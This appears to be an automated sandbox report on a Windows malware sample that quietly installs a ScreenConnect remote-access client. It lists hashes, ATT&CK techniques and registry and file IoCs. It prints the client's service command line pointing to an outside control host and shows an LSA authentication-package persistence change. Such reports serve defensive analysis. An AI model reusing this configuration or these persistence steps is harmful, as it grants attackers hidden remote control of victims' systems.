e6c425b4695540614f5868913f9e7a509227b4b043e63058534f05430d747d98

Analysis

max time kernel
139s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
31/03/2025, 15:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-03-31_30c990bbafdbf6cb080eb5363941537a_amadey_black-basta_hijackloader_luca-stealer_smoke-loader.exe
Size

5.6MB
MD5

30c990bbafdbf6cb080eb5363941537a
SHA1

ae17ba3b1571172b1ba3272afcf05680187fc116
SHA256

e6c425b4695540614f5868913f9e7a509227b4b043e63058534f05430d747d98
SHA512

991291a745e4b2d1abf3097b1081ec6c418d328cfbbaa374f0dace366fef4149141fc8e02903a913c0965568b1a3d3731bbc68ceaf17745192c28137baa7684b
SSDEEP

98304:Nv8s6efPOrJJNr2uTvY8vYEoQTJ9GGPrQZU/:SfefPOrJH2ulvYPQTJY

Score

8^/10

discovery persistence privilege_escalation

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (2d432b9535833ef5)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (2d432b9535833ef5)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=rejest.cc&p=8041&s=f1114cb0-91a5-4a81-a116-307f0509c4c0&k=BgIAAACkAABSU0ExAAgAAAEAAQBp%2bJGMa91H0EIaZUp1JSfs1tQp2glmd9d3Fqh7oaDqsNbG0uE3OJUR9WTwwW5BDDnqzMn0Hcnhd4J4rBUbt4ESbZlIEl23luwCq%2bOuCtCA42YRZjccLHdfUMjCo827%2bDhzcmHXDEFydKePkuwdZ%2fwnk%2bwU%2fQifI1nE7YjysQcStjDi4TKwkdxWN6L1f7Rk1NnIll%2fLjisBxhN7SAjIUj8rEF7I8HxNTOsjVh89MeIUGaCyWn6Hz7vuKj5tOC2ecDI74%2bgqCwHaQVum3MHlKmS4WcqM1i2QnC2WzJp2p8X6jflqdMG4gGR2KaHuANfBW9xN%2fadZColgHPt2WY7HOES1&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAwI%2bG6lH67064J630IrXaBAAAAAACAAAAAAAQZgAAAAEAACAAAADY0NZViBBm6Vg8Sw1nzP4sEM752G%2fnuF7LZsJ7UoXTfQAAAAAOgAAAAAIAACAAAADnvG7N%2fDhQm%2fViAl%2boM8HPDZy0KsOXEnLrSaynFFmz7aAEAAD1justnTP6Knzs5MdSYTrPqmNPfNgmEoswL%2fIXTR9VZGGpR98%2fGaXVcAecR825dRU2gtqqve5sTgsUhg5LUh%2bmz5lJmKRdrgVWEyV9JY9WyK1aZkV6Zj91c8FiW6GwnPyW06O10FxZsiWQhsF0wkLJ%2bfo7VpnhbFKHPHtCo5HC2RE3KhXUPIET%2bJJsS%2fz8EI4bGNCeY7yhhjrizwiT%2fXT8VCu3fOW3S4lqqUzGLNCnroC8hWg9dsfQhzgag%2b%2bYRxaI0Ax07kNCxLC2nqO%2f%2bXVvQiAlONcbGNOZtDMWZVafAxK4ftW3xqOrU7pvP5pDbXYqVUzu6WVZQa%2fgITb4oBdGH%2ficRzl%2bLyNkF3x4izGTO3B8Ot4%2bxtYJG1L%2fUoxAF1H332NBTdWuseq%2bSN5%2ffWLjnWg5H8PimHsV%2bHFk9TS8qkd5BMHXtx0RNnnsQbfLfSWTQjkUI9eoStxKC8J6mE47NN8m2%2bl7IfUQ2ixnDY2PYCA%2bJ9l8AGT95cbXeuREpJcOMwU1kQ37bvBSFyR%2f7NLpVfHWcEafzj5%2fr7dh9El52CaKCelp1cAZrNkG2C%2bpT1emyZN6Ndmp2EYUdbgt5Njgd10bS%2fzg1G0qUKjubkQesEYKhaCNqAujShSH1RmygHIb60Ou1LkI00zLU%2fbr1Zm43isT0%2fSKMq5Pc3TgL1wzo8BR%2bTlT1aZQ%2fI5uwHmKCSxqhM0bOe3FqtwT3oEAKDFjn58GU7xkuQK3Sl79jymvvawSEYMd6gYl1UYvNKAf74olkmzKlu4WtvaoqnU2NGQL%2bMiBxNDpe3lNpNOO29uvAFYHNtVCRInv1dmbq7X43nz%2bGlpDkSgdY9yl21Orh4gzi%2bC6H7a2w2ne4WjO4vstQGz%2b5fgUVJekNyptYkLG%2fAOZRl4PznzMktbRtzZ7eyEOg0L9CDgf4KkU5V2nT1htGsdKtxFDQvZquEg2Oh6EeughwK7CV3mp6avifFZzbqzg0Wjq%2f%2bmAhXbiTMiIq1jsa0U57pDgauZLcrLsyfbiKWDSDQqWak2uam9DQfqMkB5YSzLWKw4WEoQwBkJru9tyISFtUu7Ino9PDGJhq7gdNFVXY0DzPs%2fQ2u5vs956KaYhNPYB%2fKsxGCSm4LvezU5O7IJisnxZuwwEENuKN%2fV7o7d4f5qVOzzPOsq9aTyIKN5uLaLRMsrGxTnjbnC5qb0jkuLk7vUO%2fHh2hlw8JqKxZZq2E%2fzlznumLi%2b%2fI9V%2fYczYL4I8OtQx8uWyoEWXRziwi1mnxessS%2fRTkKU%2f0slksbjeU2cQWcTgIXjLys1N7L0v8A07G0EB0slbBW93iaB67%2bUO3hWRwUGUK2x2c9q%2bghtx9%2bffP8uXb%2fI38T3S3i%2b2WSVnEPaROM5Ct6M7tRP7DqHAiPowGn%2fHP1H%2bT5pnRqRlpUavJNTi%2b9p51SZQP%2foq6x%2fUswnDpw8o2zjSK71csngq5%2bs0%2fTR378e0%2fDOIku3qURLewzfB8EZumiLV%2fEBPG%2b2OrlJQTyOxUfNw7QDxmGEFeTvYPXV18ROQKrd7plomsTD0BiQh7U%2bhfOzfJSLFxTpMRgzXjWQBlLAzMftzf0AAAAB2mDf7iiysJra7WgLLFcmRVX3QY31ZCgq1eVZa3eZD%2baijpWeXPKWI7FjiP7V%2fVGc6eznxVY8AcMocgWoQHC68&t=ostryzawodnik1%40gmail.com%2048661113370&c=PL%20Rachtan\""	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800320064003400330032006200390035003300350038003300330065006600350029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	2025-03-31_30c990bbafdbf6cb080eb5363941537a_amadey_black-basta_hijackloader_luca-stealer_smoke-loader.exe

Drops file in System32 directory 15 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\5qqfigop.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\5qqfigop.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\dqh2ol4s.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\urkl05mq.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\htidvwz0.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\urkl05mq.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\op3mn52t.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\dqh2ol4s.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\urkl05mq.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\op3mn52t.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\htidvwz0.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\dqh2ol4s.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\op3mn52t.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (2d432b9535833ef5)\htidvwz0.newcfg	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (2d432b9535833ef5)\ScreenConnect.ClientService.dll	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\wix{FC1D9A48-D296-0349-99A6-073C076CD5E5}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e57de1d.msi	msiexec.exe
File created	C:\Windows\Installer\{FC1D9A48-D296-0349-99A6-073C076CD5E5}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{FC1D9A48-D296-0349-99A6-073C076CD5E5}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e57de1b.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE030.tmp	msiexec.exe
File created	C:\Windows\Installer\e57de1b.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{FC1D9A48-D296-0349-99A6-073C076CD5E5}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDEE6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDF16.tmp	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
3656	ScreenConnect.ClientService.exe
184	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
4612	MsiExec.exe
4800	rundll32.exe
4800	rundll32.exe
4800	rundll32.exe
4800	rundll32.exe
4800	rundll32.exe
4800	rundll32.exe
4800	rundll32.exe
4800	rundll32.exe
4800	rundll32.exe
1188	MsiExec.exe
5704	MsiExec.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-31_30c990bbafdbf6cb080eb5363941537a_amadey_black-basta_hijackloader_luca-stealer_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000f29fd82888d514450000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000f29fd8280000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900f29fd828000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1df29fd828000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f29fd82800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-2d432b9535833ef5\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-E423-40075985D354}\ = "ScreenConnect Client (2d432b9535833ef5) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-E423-40075985D354}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\Language = "1033"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-2d432b9535833ef5	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-E423-40075985D354}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (2d432b9535833ef5)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\84A9D1CF692D9430996A70C370C65D5E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\84A9D1CF692D9430996A70C370C65D5E\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\ProductName = "ScreenConnect Client (2d432b9535833ef5)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\PackageCode = "84A9D1CF692D9430996A70C370C65D5E"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\ProductIcon = "C:\\Windows\\Installer\\{FC1D9A48-D296-0349-99A6-073C076CD5E5}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-2d432b9535833ef5\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-2d432b9535833ef5\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-2d432b9535833ef5\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-2d432b9535833ef5\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (2d432b9535833ef5)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-E423-40075985D354}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\Version = "419495946"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2A227D4C9C085960D234B2595338E35F\84A9D1CF692D9430996A70C370C65D5E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.1.10.9197\\2d432b9535833ef5\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2A227D4C9C085960D234B2595338E35F	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-2d432b9535833ef5\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-2d432b9535833ef5\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-E423-40075985D354}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84A9D1CF692D9430996A70C370C65D5E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.1.10.9197\\2d432b9535833ef5\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-2d432b9535833ef5	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5520	msiexec.exe
5520	msiexec.exe
3656	ScreenConnect.ClientService.exe
3656	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5580	2025-03-31_30c990bbafdbf6cb080eb5363941537a_amadey_black-basta_hijackloader_luca-stealer_smoke-loader.exe
Token: SeShutdownPrivilege	5212	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5212	msiexec.exe
Token: SeSecurityPrivilege	5520	msiexec.exe
Token: SeCreateTokenPrivilege	5212	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5212	msiexec.exe
Token: SeLockMemoryPrivilege	5212	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5212	msiexec.exe
Token: SeMachineAccountPrivilege	5212	msiexec.exe
Token: SeTcbPrivilege	5212	msiexec.exe
Token: SeSecurityPrivilege	5212	msiexec.exe
Token: SeTakeOwnershipPrivilege	5212	msiexec.exe
Token: SeLoadDriverPrivilege	5212	msiexec.exe
Token: SeSystemProfilePrivilege	5212	msiexec.exe
Token: SeSystemtimePrivilege	5212	msiexec.exe
Token: SeProfSingleProcessPrivilege	5212	msiexec.exe
Token: SeIncBasePriorityPrivilege	5212	msiexec.exe
Token: SeCreatePagefilePrivilege	5212	msiexec.exe
Token: SeCreatePermanentPrivilege	5212	msiexec.exe
Token: SeBackupPrivilege	5212	msiexec.exe
Token: SeRestorePrivilege	5212	msiexec.exe
Token: SeShutdownPrivilege	5212	msiexec.exe
Token: SeDebugPrivilege	5212	msiexec.exe
Token: SeAuditPrivilege	5212	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5212	msiexec.exe
Token: SeChangeNotifyPrivilege	5212	msiexec.exe
Token: SeRemoteShutdownPrivilege	5212	msiexec.exe
Token: SeUndockPrivilege	5212	msiexec.exe
Token: SeSyncAgentPrivilege	5212	msiexec.exe
Token: SeEnableDelegationPrivilege	5212	msiexec.exe
Token: SeManageVolumePrivilege	5212	msiexec.exe
Token: SeImpersonatePrivilege	5212	msiexec.exe
